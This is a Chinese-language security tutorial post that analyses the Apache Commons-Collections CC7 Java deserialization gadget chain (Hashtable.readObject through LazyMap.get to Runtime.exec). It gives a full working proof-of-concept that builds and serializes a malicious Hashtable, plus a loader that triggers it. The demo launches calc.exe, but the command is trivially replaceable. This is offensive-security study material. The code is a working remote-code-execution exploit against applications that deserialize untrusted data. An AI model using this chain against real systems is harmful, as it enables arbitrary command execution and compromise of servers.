前言
和CC5反序列化链相似,CC7也是后半条LazyMap执行命令链不变,但是中间过程通过AbstractMap.equals()触发LazyMap.get()方法
环境
我们可以接着使用之前已经搭建好的环境,具体过程可以看CC1分析文章的环境安装部分
Commons-Collections篇-CC1链小白基础分析学习
1.路线分析
和开头我们说的一样, CC7是后半条链不变,但是中间通过AbstractMap.equals()触发LazyMap.get()方法
我们先寻找到AbstractMap.equals()
我们可以看到判断中调用了get方法,接着寻找equals方法调用
在AbstractMapDecorator类中发现了equals方法的调用
在Hashtable类中reconstitutionPut方法发现了equals的调用,并且本身也被readObject调用
2.跑通路线
从我们上面的分析可以初步确定我们链的路线为:
Hashtable.reaObject
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get
让我们来跑通这条路线
首先先把后半条链LazyMap.get写出来
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"C:\\windows\\system32\\calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map Lazy = LazyMap.decorate(map,chainedTransformer);
#Lazy.get(Runtime.getRuntime());
}
我们前半条链从前往后分析,在入口readObject处主要触发的是reconstitutionPut方法中的e.key.equals(key),如果想触发我们需要先进入for循环,但是第一次的tab[index] 是没有值的,必须执行完第一次reconstitutionPut方法才能够赋值
所以刚开始的hashtable我们需要多个元素才能进入readObject中的for循环,以此来进行多次的reconstitutionPut方法
在这里需要注意一下,如果两个hashmap相同的话会直接在hashtable put的时候认为是一个元素,之后就不会在反序列化的时候触发equals代码
在reconstitutionPut方法中想要触发equals方法,还需要满足e.hash == hash,但是e.hash是第一次咱们计算哈希获得的值,而hash是第二次,所以得保持两次hash计算相同
所以这一部分的代码为
Map map = new HashMap();
Map map2 = new HashMap();
Map Lazy = LazyMap.decorate(map, chainedTransformer);
Map Lazy2 = LazyMap.decorate(map2, chainedTransformer);
Lazy.put("yy",1);
Lazy2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(Lazy,1);
hashtable.put(Lazy2,2);
Poc中会把LazyMap传入,会调用lazyMap的equal方法,但它本身是没有这个方法的,所以会调用它的父类AbstractoMapDecorator的equal方法
在AbstractoMapDecorator的equals方法中map为HashMap,但是HashMap本身是没有equals方法的,会跳转到AbstractMap.equals方法
到这里,就回到咱们熟悉的LazyMap执行命令了
3.整体POC
还需要注意的是我们不想在序列化中执行我们的payload,所以先在最初指定一个空的chainedTransformer,我们在最后反射设置回我们要执行的命令
在最后我们还需要把Lazy2中去掉yy,因为在HashTable.put中也会调用到equals,当调用完equals()方法后,LazyMap2的key中就会增加一个yy键
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[]{String.class},
new Object[]{"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"C:\\windows\\system32\\calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] {});
Map map = new HashMap();
Map map2 = new HashMap();
Map Lazy = LazyMap.decorate(map, chainedTransformer);
Map Lazy2 = LazyMap.decorate(map2, chainedTransformer);
Lazy.put("yy",1);
Lazy2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(Lazy,1);
hashtable.put(Lazy2,2);
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
Lazy2.remove("yy");
serializable(hashtable);
// unserializable();
}
private static Object unserializable() throws Exception, IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
private static void serializable(Object o) throws IOException, ClassNotFoundException{
FileOutputStream fos = new FileOutputStream("obj");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
os.close();
}
}
我们反序列化刚才生成的文件
package org.example;
import java.lang.annotation.Annotation;
import com.oracle.jrockit.jfr.ValueDefinition;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC {
public static void main(String[] args) throws Exception {
//命令执行代码
unserializable();
}
private static Object unserializable() throws Exception,IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
}
整体的利用链为:
Hashtable.readObject
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
本系列历史文章
反序列化之路-URLDNS
Commons-Collections篇-CC1链小白基础分析学习
CC1链补充-LazyMap
Commons-Collections篇-CC2链分析
Commons-Collections篇-CC3链
Commons-Collections篇-CC4链分析
Commons-Collections篇-CC5链分析
Commons-Collections篇-CC6链分析